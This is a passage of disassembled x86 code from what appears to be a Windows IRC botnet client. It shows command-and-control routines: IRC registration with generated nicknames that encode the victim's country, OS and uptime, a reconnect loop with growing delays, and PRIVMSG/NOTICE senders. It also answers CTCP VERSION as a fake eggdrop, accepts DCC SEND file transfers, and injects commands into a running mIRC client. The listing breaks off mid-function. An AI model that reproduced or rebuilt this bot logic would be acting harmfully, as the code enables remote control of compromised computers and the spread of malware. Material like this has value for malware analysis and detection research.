		call	sub_4105FB
		pop	ecx
		push	offset byte_41E718
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E718
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EEC8
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EEC8
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EEC8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F048
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F048
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F048
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EE48
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EE48
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F


loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------


loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h


loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"


loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"


loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	ds:dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1


loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, byte_41DB34
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DB34
		push	offset aLast	; "#last"
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aLast	; "#last"
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DBB4
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DBB4
		push	offset dword_41ED48
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		call	sub_4105FB
		pop	ecx


loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DAA4
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41E9A4
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h


loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E898
		call	sub_4105FB
		pop	ecx
		push	offset dword_41E998
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41E998
		push	offset dword_41E898
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41E9A4, eax
		push	offset dword_41E898
		call	sub_4105AD
		pop	ecx
		push	offset dword_41E998
		call	sub_4105AD
		pop	ecx
		cmp	dword_41E9A4, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	ds:dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax


loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2+1DEp
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------


loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C


loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset aMessage	; "message "
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx


loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693


loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx


loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41E9A4
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	ds:dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	ds:dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	ds:dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	ds:dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	ds:dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	ds:dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	ds:dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al


loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	edi
		push	offset aPing	; "PING"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8A7
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		push	offset aPongS	; "PONG	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8A7:				; CODE XREF: sub_40D871+1Dj
		push	offset aPong	; "PONG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8C2
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D871+4Aj
		push	offset aMode	; "MODE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40D8DD
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D8DD:				; CODE XREF: sub_40D871+65j
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_40DB2D
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 1
		jnz	loc_40DB2D
		push	offset dword_41A14C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jz	loc_40DA81
		push	offset aSend	; "SEND"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+10h]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DA81
		cmp	[ebp+arg_0], 0
		jz	loc_40DA81
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_40D986
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+20h], 0
		jnz	short loc_40D98B


loc_40D986:				; CODE XREF: sub_40D871+F8j
					; sub_40D871+101j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D98B:				; CODE XREF: sub_40D871+113j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+14h]
		movsx	eax, byte ptr [eax]
		cmp	eax, 22h
		jnz	short loc_40D99E
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40D99E:				; CODE XREF: sub_40D871+126j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+20h]
		and	byte ptr [ecx+eax], 0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset aLast	; "#last"
		lea	eax, [ebp+var_213]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		and	[ebp+var_113], 0
		push	7Ah
		push	0
		lea	eax, [ebp+var_10F]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_95], 1
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+18h]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_238], eax
		movzx	eax, byte ptr [ebp+var_238]
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 8
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 10h
		movzx	eax, al
		push	eax
		mov	eax, [ebp+var_238]
		shr	eax, 18h
		movzx	eax, al
		push	eax
		push	offset aU_U_U_U	; "%u.%u.%u.%u"
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+20h]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_248]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+14h]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_234]
		push	eax
		call	sub_4024F3
		add	esp, 18h
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DA81:				; CODE XREF: sub_40D871+BAj
					; sub_40D871+C7j ...
		push	offset dword_41A138
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DAAD
		push	offset dword_41A12C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DAEB


loc_40DAAD:				; CODE XREF: sub_40D871+224j
		cmp	[ebp+arg_0], 0
		jz	short loc_40DAD1
		push	offset dword_41DC34
		push	3B6h
		push	0
		push	offset dword_41A108
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 14h
		jmp	short loc_40DAE6
; ---------------------------------------------------------------------------


loc_40DAD1:				; CODE XREF: sub_40D871+240j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_41A0E8
		push	[ebp+arg_4]
		call	sub_40D420
		add	esp, 0Ch


loc_40DAE6:				; CODE XREF: sub_40D871+25Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DAEB:				; CODE XREF: sub_40D871+23Aj
		push	offset dword_41A0E0
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DB16
		push	offset dword_41A0D8
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	ds:dword_417108	; lstrcmpA
		test	eax, eax
		jnz	short loc_40DB2D


loc_40DB16:				; CODE XREF: sub_40D871+28Ej
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DB2D:				; CODE XREF: sub_40D871+80j
					; sub_40D871+8Dj ...
		push	offset a433	; "433"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DCFD
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_2CC], eax
		cmp	[ebp+var_2CC], 4
		jnb	short loc_40DB71
		call	sub_406AE7
		test	eax, eax
		jz	loc_40DCB8


loc_40DB71:				; CODE XREF: sub_40D871+2F1j
		call	sub_406A23
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40DB9A
		push	offset aUnk	; "UNK"
